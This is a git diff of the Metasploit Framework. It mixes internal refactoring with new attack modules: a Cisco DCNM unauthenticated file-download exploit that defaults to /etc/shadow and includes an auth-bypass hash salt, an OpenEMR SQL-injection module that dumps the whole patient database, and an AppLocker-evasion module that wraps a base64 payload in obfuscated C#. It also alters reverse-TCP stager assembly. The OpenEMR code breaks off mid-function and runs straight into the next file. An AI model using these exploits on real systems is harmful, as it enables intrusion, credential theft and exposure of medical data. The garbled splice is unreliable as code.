aliased_as = self.inv_aliases[class_or_module.realname] aliased_as.each do |a| self.aliases.delete a end - self.inv_aliases.delete class_or_module.fullname + self.inv_aliases.delete class_or_module.realname end if class_or_module.respond_to? :aliases class_or_module.aliases.each do |a| - self.aliases[a] = class_or_module.fullname + self.aliases[a] = class_or_module.realname end - self.inv_aliases[class_or_module.fullname] = class_or_module.aliases unless class_or_module.aliases.empty? + self.inv_aliases[class_or_module.realname] = class_or_module.aliases unless class_or_module.aliases.empty? end end diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 2a92c584a7..1f6aa13323 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -283,14 +283,20 @@ class Msf::Modules::Loader::Base namespace_module = original_metasploit_class.parent parent_path = namespace_module.parent_path - type = original_metasploit_class_or_instance.type - module_reference_name = original_metasploit_class_or_instance.refname + type = original_metasploit_class.type + module_reference_name = original_metasploit_class.refname + module_fullname = original_metasploit_class.fullname + module_used_name = original_metasploit_instance.fullname if original_metasploit_instance - dlog("Reloading module #{module_reference_name}...", 'core') + dlog("Reloading module #{module_fullname}...", 'core') if load_module(parent_path, type, module_reference_name, :force => true, :reload => true) - # Create a new instance of the module - reloaded_module_instance = module_manager.create(module_reference_name) + # Create a new instance of the module, using the alias if one was used + reloaded_module_instance = module_manager.create(module_used_name || module_fullname) + if !reloaded_module_instance && module_fullname != module_used_name + reloaded_module_instance = module_manager.create(module_fullname) + reloaded_module_instance&.add_warning "Alias #{module_used_name} no longer available after reloading, using #{module_fullname}" + end if reloaded_module_instance if original_metasploit_instance @@ -304,7 +310,7 @@ class Msf::Modules::Loader::Base return original_metasploit_class_or_instance end else - elog("Failed to reload #{module_reference_name}") + elog("Failed to reload #{module_fullname}") return nil end diff --git a/lib/msf/core/modules/metadata/cache.rb b/lib/msf/core/modules/metadata/cache.rb index 0b61807ca9..d9346336dc 100644 --- a/lib/msf/core/modules/metadata/cache.rb +++ b/lib/msf/core/modules/metadata/cache.rb @@ -146,7 +146,7 @@ class Cache key = '' key << (module_instance.type.nil? ? '' : module_instance.type) key << '_' - key << module_instance.refname + key << module_instance.class.refname return key end diff --git a/lib/msf/core/modules/metadata/obj.rb b/lib/msf/core/modules/metadata/obj.rb index a41f65e146..d39040b1fe 100644 --- a/lib/msf/core/modules/metadata/obj.rb +++ b/lib/msf/core/modules/metadata/obj.rb @@ -61,7 +61,7 @@ class Obj end @name = module_instance.name - @fullname = module_instance.fullname + @fullname = module_instance.realname @aliases = module_instance.aliases @disclosure_date = module_instance.disclosure_date @rank = module_instance.rank.to_i @@ -80,7 +80,7 @@ class Obj @rport = module_instance.datastore['RPORT'] @path = module_instance.file_path @mod_time = ::File.mtime(@path) rescue Time.now - @ref_name = module_instance.refname + @ref_name = module_instance.class.refname @needs_cleanup = module_instance.respond_to?(:needs_cleanup) && module_instance.needs_cleanup if module_instance.respond_to?(:autofilter_ports) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index e2ee9815d5..f60c76ff53 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -89,6 +89,33 @@ module Payload::Linux::ReverseTcp_x86 sleep_seconds = seconds.to_i sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC + + if respond_to?(:generate_intermediate_stage) + pay_mod = framework.payloads.create(self.refname) + read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size + elsif !module_info['Stage']['Payload'].empty? + read_length = module_info['Stage']['Payload'].size + else + # If we don't know, at least use small instructions + read_length = 0x0c00 + mprotect_flags + end + + # I was bored on the train, ok? + read_reg = + if read_length % 0x100 == mprotect_flags && read_length <= 0xff00 + mprotect_flags + # We use `edx` as part mprotect, but at two bytes assembled, this edge case is worth checking: + # If the lower byte will be the same, just set the upper byte + read_length = read_length / 0x100 + 'dh' + elsif read_length < 0x100 + 'dl' # Also assembles in two bytes ^.^ + elsif read_length < 0x10000 + 'dx' # Shave a byte off of setting `edx` + else + 'edx' # Take five bytes :/ + end + asm = %Q^ push #{retry_count} ; retry counter pop esi @@ -141,7 +168,7 @@ module Payload::Linux::ReverseTcp_x86 asm << %Q^ mprotect: - mov dl, 0x7 + mov dl, 0x#{mprotect_flags.to_s(16)} mov ecx, 0x1000 mov ebx, esp shr ebx, 0xc @@ -155,7 +182,7 @@ module Payload::Linux::ReverseTcp_x86 pop ebx mov ecx, esp cdq - mov dh, 0xc + mov #{read_reg}, 0x#{read_length.to_s(16)} mov al, 0x3 int 0x80 ; sys_read (recv()) test eax, eax diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb index b678107067..abc0fbab75 100644 --- a/lib/msf/core/payload/linux/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb @@ -89,6 +89,15 @@ module Payload::Linux::ReverseTcp_x64 sleep_seconds = seconds.to_i sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + if respond_to?(:generate_intermediate_stage) + pay_mod = framework.payloads.create(self.refname) + read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size + elsif !module_info['Stage']['Payload'].empty? + read_length = module_info['Stage']['Payload'].size + else + read_length = 4096 + end + asm = %Q^ mmap: xor rdi, rdi @@ -107,7 +116,6 @@ module Payload::Linux::ReverseTcp_x64 push #{retry_count} ; retry counter pop r9 - push rsi push rax push 0x29 pop rax @@ -161,8 +169,9 @@ module Payload::Linux::ReverseTcp_x64 recv: pop rsi + push 0x#{read_length.to_s(16)} pop rdx - syscall ; read(3, "", 4096) + syscall ; read(3, "", #{read_length}) test rax, rax js failed diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index 5c99d7c789..e9fa1b3ccc 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -91,6 +91,8 @@ class PayloadSet < ModuleSet sizes[name] = p.cached_size || p.new.size # Don't cache generic payload sizes. rescue NoCompatiblePayloadError + rescue StandardError => e + elog("Unable to build payload #{name} due to #{e}.") end } diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index d9f7b2f073..2e4c0bae75 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -30,6 +30,8 @@ module Msf::PostMixin # # @raise [OptionValidateError] if {#session} returns nil def setup + alert_user + unless session # Always fail if the session doesn't exist. raise Msf::OptionValidateError.new(['SESSION']) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index 75cb45d685..8fd356cc10 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -82,7 +82,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO request = Packet.create_request( 'stdapi_fs_search' ) root = client.unicode_filter_decode(root) if root - root = root.chomp( '\\' ) if root + root = root.chomp( self.separator ) if root request.add_tlv( TLV_TYPE_SEARCH_ROOT, root ) request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob ) @@ -94,7 +94,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO if( response.result == 0 ) response.each( TLV_TYPE_SEARCH_RESULTS ) do | results | files << { - 'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( '\\' )), + 'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( self.separator )), 'name' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_NAME)), 'size' => results.get_tlv_value(TLV_TYPE_FILE_SIZE) } diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 9cf7d12dc5..a6e16e3b35 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -211,6 +211,7 @@ TLV_TYPE_KEYS_SEND = TLV_META_TYPE_STRING | 3014 TLV_TYPE_MOUSE_ACTION = TLV_META_TYPE_UINT | 3015 TLV_TYPE_MOUSE_X = TLV_META_TYPE_UINT | 3016 TLV_TYPE_MOUSE_Y = TLV_META_TYPE_UINT | 3017 +TLV_TYPE_KEYEVENT_SEND = TLV_META_TYPE_RAW | 3018 ## # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index 3788ce3f87..5a94a963ab 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -244,6 +244,17 @@ class UI < Rex::Post::UI return true end + # + # Send key events + # + def keyevent_send(key_code, action = 0) + key_data = [ action, key_code ].pack("VV") + request = Packet.create_request('stdapi_ui_send_keyevent') + request.add_tlv( TLV_TYPE_KEYEVENT_SEND, key_data ) + response = client.send_request(request) + return true + end + # # Mouse input # @@ -265,6 +276,8 @@ class UI < Rex::Post::UI action = 5 when "rightup" action = 6 + when "doubleclick" + action = 7 else action = mouseaction.to_i end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index ab1f1524ff..11dac917cf 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -182,9 +182,9 @@ class Console::CommandDispatcher::Stdapi::Fs print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") files.each do | file | if file['size'] > 0 - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") + print(" #{file['path']}#{ file['path'].empty? ? '' : client.fs.file.separator }#{file['name']} (#{file['size']} bytes)\n") else - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") + print(" #{file['path']}#{ file['path'].empty? ? '' : client.fs.file.separator }#{file['name']}\n") end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 09049d2006..41dfae6f9f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -30,6 +30,7 @@ class Console::CommandDispatcher::Stdapi::Ui "keyscan_start" => "Start capturing keystrokes", "keyscan_stop" => "Stop capturing keystrokes", "keyboard_send" => "Send keystrokes", + "keyevent" => "Send key events", "mouse" => "Send mouse events", "screenshot" => "Grab a screenshot of the interactive desktop", "screenshare" => "Watch the remote user's desktop in real time", @@ -46,6 +47,7 @@ class Console::CommandDispatcher::Stdapi::Ui "keyscan_dump" => [ "stdapi_ui_get_keys_utf8" ], "keyscan_start" => [ "stdapi_ui_start_keyscan" ], "keyscan_stop" => [ "stdapi_ui_stop_keyscan" ], + "keyevent" => [ "stdapi_ui_send_keyevent" ], "keyboard_send" => [ "stdapi_ui_send_keys" ], "mouse" => [ "stdapi_ui_send_mouse" ], "screenshot" => [ "stdapi_ui_desktop_screenshot" ], @@ -442,6 +444,31 @@ class Console::CommandDispatcher::Stdapi::Ui print_status('Done') end + # + # Send key events + # + def cmd_keyevent(*args) + action = 0 + if args.length == 1 + keycode = args[0].to_i + elsif args.length == 2 + keycode = args[0].to_i + if args[1] == 'down' + action = 1 + elsif args[1] == 'up' + action = 2 + end + else + print_line("Usage: keyevent keycode [action] (press, up, down)") + print_line(" e.g: keyevent 13 press (send the enter key)") + print_line(" kevevent 17 down (control key down)\n") + return + end + + client.ui.keyevent_send(keycode, action) + print_status('Done') + end + # # Send mouse events # @@ -453,7 +480,7 @@ class Console::CommandDispatcher::Stdapi::Ui elsif args.length == 3 client.ui.mouse(args[0], args[1], args[2]) else - print_line("Usage: mouse action (move, click, up, down, rightclick, rightup, rightdown)") + print_line("Usage: mouse action (move, click, up, down, rightclick, rightup, rightdown, doubleclick)") print_line(" mouse [x] [y] (click)") print_line(" mouse [action] [x] [y]") print_line(" e.g: mouse click") diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 86853958cd..0581d426ee 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.3.70' + spec.add_runtime_dependency 'metasploit-payloads', '1.3.77' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.16' # Needed by msfgui and other rpc components @@ -167,7 +167,7 @@ Gem::Specification.new do |spec| # Library for parsing and manipulating executable binaries spec.add_runtime_dependency 'rex-bin_tools' # Rex Socket Abstraction Layer - spec.add_runtime_dependency 'rex-socket', '0.1.17' + spec.add_runtime_dependency 'rex-socket' # Library for scanning a server's SSL/TLS capabilities spec.add_runtime_dependency 'rex-sslscan' # Library and tool for finding ROP gadgets in a supplied binary diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb new file mode 100644 index 0000000000..0a19e3d931 --- /dev/null +++ b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb @@ -0,0 +1,173 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download', + 'Description' => %q{ + DCNM exposes a servlet to download files on /fm/downloadServlet. + An authenticated user can abuse this servlet to download arbitrary files as root by specifying + the full path of the file. + This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should + work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit + (see References to understand why). + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2019-1619' ], + [ 'CVE', '2019-1621' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] + ], + 'DisclosureDate' => 'Jun 26 2019' + )) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Connect with TLS', true]), + OptString.new('TARGETURI', [true, "Default server path", '/']), + OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1)", 'admin']), + OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1)", 'admin']), + OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']), + ]) + end + + def auth_v11 + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm/'), + 'method' => 'GET', + 'vars_get' => + { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + ) + + if res && res.code == 200 + # get the JSESSIONID cookie + if res.get_cookies + res.get_cookies.split(';').each do |cok| + if cok.include?("JSESSIONID") + return cok + end + end + end + end + end + + def auth_v10 + # step 1: get a JSESSIONID cookie and the server Date header + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'fm/'), + 'method' => 'GET' + }) + + # step 2: convert the Date header and create the auth hash + if res && res.headers['Date'] + jsession = res.get_cookies.split(';')[0] + date = Time.httpdate(res.headers['Date']) + server_date = date.strftime("%s").to_i * 1000 + print_good("#{peer} - Got sysTime value #{server_date.to_s}") + + # auth hash format: + # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF + session_id = rand(1000..50000).to_s + md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" + md5_str = Base64.strict_encode64(md5) + + # step 3: authenticate our cookie as admin + # token format: sessionId.sysTime.md5_str.username + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), + 'cookie' => jsession, + 'vars_get' => + { + 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" + }, + 'method' => 'GET' + ) + + if res && res.code == 500 + return jsession + end + end + end + + def run + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), + 'method' => 'GET' + ) + noauth = false + + if res && res.code == 200 + if res.body.include?('version":"11.1(1)') + print_good("#{peer} - Detected DCNM 11.1(1)") + print_status("#{peer} - No authentication required, ready to exploit!") + noauth = true + elsif res.body.include?('version":"11.0(1)') + print_good("#{peer} - Detected DCNM 11.0(1)") + print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") + jsession = auth_v11 + elsif res.body.include?('version":"10.4(2)') + print_good("#{peer} - Detected DCNM 10.4(2)") + print_status("#{peer} - No authentication required, ready to exploit!") + jsession = auth_v10 + else + print_error("#{peer} - Failed to detect module version.") + print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") + print_error(res.body) + print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...") + jsession = auth_v10 + end + end + + if jsession || noauth + print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") + else + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie") + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'), + 'method' => 'GET', + 'cookie' => jsession, + 'vars_get' => { + 'showFile' => datastore['FILEPATH'], + } + ) + + if res && res.code == 200 && res.body.length > 0 + filedata = res.body + vprint_line(filedata.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'cisco-DCNM.http', + 'application/octet-stream', + datastore['RHOST'], + filedata, + fname + ) + print_good("File saved in: #{path}") + else + fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}") + end + end +end diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index ec15329fdf..8cb512d229 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary ext = "/*.xml" end - if datastore['PATH'].ends_with('.xml') + if datastore['PATH'].ends_with?('.xml') filepath = datastore['PATH'] else filepath = File.join(datastore['PATH'], ext) diff --git a/modules/auxiliary/scanner/http/jboss_status.rb b/modules/auxiliary/scanner/http/jboss_status.rb index 4ad9e5132c..72bd30fb29 100644 --- a/modules/auxiliary/scanner/http/jboss_status.rb +++ b/modules/auxiliary/scanner/http/jboss_status.rb @@ -19,6 +19,7 @@ class MetasploitModule < Msf::Auxiliary 'References' => [ ['CVE', '2008-3273'], + ['CVE', '2010-1429'], # regression ['URL', 'https://seclists.org/fulldisclosure/2011/Sep/139'], ['URL', 'https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf'], ['URL', 'http://www.slideshare.net/chrisgates/lares-fromlowtopwned'] diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index 949690e871..2e02370b96 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -23,8 +23,11 @@ class MetasploitModule < Msf::Auxiliary ], 'References' => [ - [ 'CVE', '2010-0738' ], # VERB auth bypass - [ 'CVE', '2017-12149' ] + [ 'CVE', '2008-3273' ], # info disclosure via unauthenticated access to "/status" + [ 'CVE', '2010-1429' ], # info disclosure via unauthenticated access to "/status" (regression) + [ 'CVE', '2010-0738' ], # VERB auth bypass on "JMX-Console": /jmx-console/ + [ 'CVE', '2010-1428' ], # VERB auth bypass on "Web Console": /web-console/ + [ 'CVE', '2017-12149' ] # deserialization: "/invoker/readonly" ], 'License' => BSD_LICENSE )) diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index 7656934fa5..3b6a453581 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -19,26 +19,29 @@ class MetasploitModule < Msf::Auxiliary 'EsMnemon ', # original write-only module 'Arnaud SOULLIE ', # code that allows read/write 'Alexandrine TORRENTS ', # code that allows reading/writing at multiple consecutive addresses - 'Mathieu CHEVALIER ' + 'Mathieu CHEVALIER ', + 'AZSG ' # updated read actions to include function codes 2 and 4 and renamed actions to align with modbus standard 1.1b3 ], 'License' => MSF_LICENSE, 'Actions' => [ - ['READ_COILS', { 'Description' => 'Read bits from several coils' } ], - ['READ_REGISTERS', { 'Description' => 'Read words from several registers' } ], + ['READ_COILS', { 'Description' => 'Read bits from several coils' } ], #Function Code 1 Read Coils + ['READ_DISCRETE_INPUTS', { 'Description' => 'Read bits from several DISCRETE INPUTS' } ], #Function Code 2 Read Discrete Inputs + ['READ_HOLDING_REGISTERS', { 'Description' => 'Read words from several HOLDING registers' } ], #Function Code 3 Read Holding Registers + ['READ_INPUT_REGISTERS', { 'Description' => 'Read words from several INPUT registers' } ], #Function Code 4 Read Input Registers ['WRITE_COIL', { 'Description' => 'Write one bit to a coil' } ], ['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ], ['WRITE_COILS', { 'Description' => 'Write bits to several coils' } ], ['WRITE_REGISTERS', { 'Description' => 'Write words to several registers' } ] ], - 'DefaultAction' => 'READ_REGISTERS' + 'DefaultAction' => 'READ_HOLDING_REGISTERS' )) register_options( [ Opt::RPORT(502), OptInt.new('DATA_ADDRESS', [true, "Modbus data address"]), - OptInt.new('NUMBER', [false, "Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)", 1]), + OptInt.new('NUMBER', [false, "Number of coils/registers to read (READ_COILS, READ_DISCRETE_INPUTS, READ_HOLDING_REGISTERS, READ_INPUT_REGISTERS modes only)", 1]), OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]), OptString.new('DATA_COILS', [false, "Data in binary to write (WRITE_COILS mode only) e.g. 0110"]), OptString.new('DATA_REGISTERS', [false, "Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4"]), @@ -170,17 +173,73 @@ class MetasploitModule < Msf::Auxiliary end end - def read_registers + def read_discrete_inputs if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535 - print_error("Registers addresses go from 0 to 65535. You cannot go beyond.") + print_error("DISCRETE INPUT addresses go from 0 to 65535. You cannot go beyond.") return end - @function_code = 3 - print_status("Sending READ REGISTERS...") + @function_code = 0x2 + print_status("Sending READ DISCRETE INPUTS...") response = send_frame(make_read_payload) values = [] if response.nil? - print_error("No answer for the READ REGISTERS") + print_error("No answer for the READ DISCRETE INPUTS") + return + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + loop = (datastore['NUMBER']-1)/8 + for i in 0..loop + bin_value = response[9+i].unpack("b*")[0] + list = bin_value.split("") + for j in 0..7 + list[j] = list[j].to_i + values[i*8 + j] = list[j] + end + end + values = values[0..(datastore['NUMBER']-1)] + print_good("#{datastore['NUMBER']} DISCRETE INPUT values from address #{datastore['DATA_ADDRESS']} : ") + print_good("#{values}") + else + print_error("Unknown answer") + end + end + + def read_holding_registers + if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535 + print_error("Holding Registers addresses go from 0 to 65535. You cannot go beyond.") + return + end + @function_code = 3 + print_status("Sending READ HOLDING REGISTERS...") + response = send_frame(make_read_payload) + values = [] + if response.nil? + print_error("No answer for the READ HOLDING REGISTERS") + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + for i in 0..(datastore['NUMBER']-1) + values.push(response[9+2*i..10+2*i].unpack("n")[0]) + end + print_good("#{datastore['NUMBER']} register values from address #{datastore['DATA_ADDRESS']} : ") + print_good("#{values}") + else + print_error("Unknown answer") + end + end + + def read_input_registers + if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535 + print_error("Input Registers addresses go from 0 to 65535. You cannot go beyond.") + return + end + @function_code = 4 + print_status("Sending READ INPUT REGISTERS...") + response = send_frame(make_read_payload) + values = [] + if response.nil? + print_error("No answer for the READ INPUT REGISTERS") elsif response.unpack("C*")[7] == (0x80 | @function_code) handle_error(response) elsif response.unpack("C*")[7] == @function_code @@ -317,8 +376,12 @@ class MetasploitModule < Msf::Auxiliary case action.name when "READ_COILS" read_coils - when "READ_REGISTERS" - read_registers + when "READ_DISCRETE_INPUTS" + read_discrete_inputs + when "READ_HOLDING_REGISTERS" + read_holding_registers + when "READ_INPUT_REGISTERS" + read_input_registers when "WRITE_COIL" write_coil when "WRITE_REGISTER" diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb new file mode 100644 index 0000000000..4894a2467f --- /dev/null +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -0,0 +1,240 @@ +require 'csv' + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump', + 'Description' => ' + This module exploits a SQLi vulnerability found in + OpenEMR version 5.0.1 Patch 6 and lower. The + vulnerability allows the contents of the entire + database (with exception of log and task tables) to be + extracted. + This module saves each table as a `.csv` file in your + loot directory and has been tested with + OpenEMR 5.0.1 (3). + ', + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Will Porter ' + ], + 'References' => [ + ['CVE', '2018-17179'], + ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] + ], + 'Targets' => + [ + ['OpenEMR < 5.0.1 (6)', {}] + ], + 'DisclosureDate' => 'May 17 2019', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']) + ] + ) + end + + def uri + target_uri.path + end + + def openemr_version + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'admin.php') + ) + vprint_status("admin.php response code: #{res.code}") + document = Nokogiri::HTML(res.body) + document.css('tr')[1].css('td')[3].text + rescue StandardError + '' + end + + def check + # Check version + print_status('Trying to detect installed version') + version = openemr_version + return Exploit::CheckCode::Unknown if version.empty? + + vprint_status("Version #{version} detected") + version.sub! ' (', '.' + version.sub! ')', '' + version.strip! + + return Exploit::CheckCode::Safe unless Gem::Version.new(version) < Gem::Version.new('5.0.1.7') + + Exploit::CheckCode::Appears + end + + def get_response(payload) + response = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'), + 'vars_get' => { + 'action' => 'make_task', + 'from_id' => '1', + 'to_id' => '1', + 'pid' => '1', + 'doc_type' => '1', + 'doc_id' => '1', + 'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '" + } + ) + response + end + + def parse_xpath_error(response_body) + matches = response_body.match %r{XPATH syntax error: '~(.*)' 'Applocker Evasion - Windows Presentation Foundation Host', + 'Description' => %( + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binary + PresentationHost.exe to execute user supplied code. + ), + 'Author' => + [ + 'Nick Tyrer <@NickTyrer>', # module development + 'Casey Smith' # presentationhost bypass research + ], + 'License' => 'MSF_LICENSE', + 'Platform' => 'win', + 'Arch' => [ARCH_X86], + 'Targets' => [['Microsoft Windows', {}]]) + ) + + register_options( + [ + OptString.new('CS_FILE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']), + OptString.new('MANIFEST_FILE', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']), + OptString.new('CSPROJ_FILE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj']) + ] + ) + + deregister_options('FILENAME') + end + + def build_payload + Rex::Text.encode_base64(payload.encoded) + end + + def obfu + Rex::Text.rand_text_alpha 8 + end + + def presentationhost_xaml_cs + esc = build_payload + mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] + <<~HEREDOC + using System; + class #{mod[0]}{ + static void Main(string[] args){ + IntPtr #{mod[1]}; + #{mod[1]} = GetConsoleWindow(); + ShowWindow(#{mod[1]}, #{mod[2]}); + string #{mod[3]} = "#{esc}"; + byte[] #{mod[4]} = Convert.FromBase64String(#{mod[3]}); + byte[] #{mod[5]} = #{mod[4]}; + IntPtr #{mod[6]} = 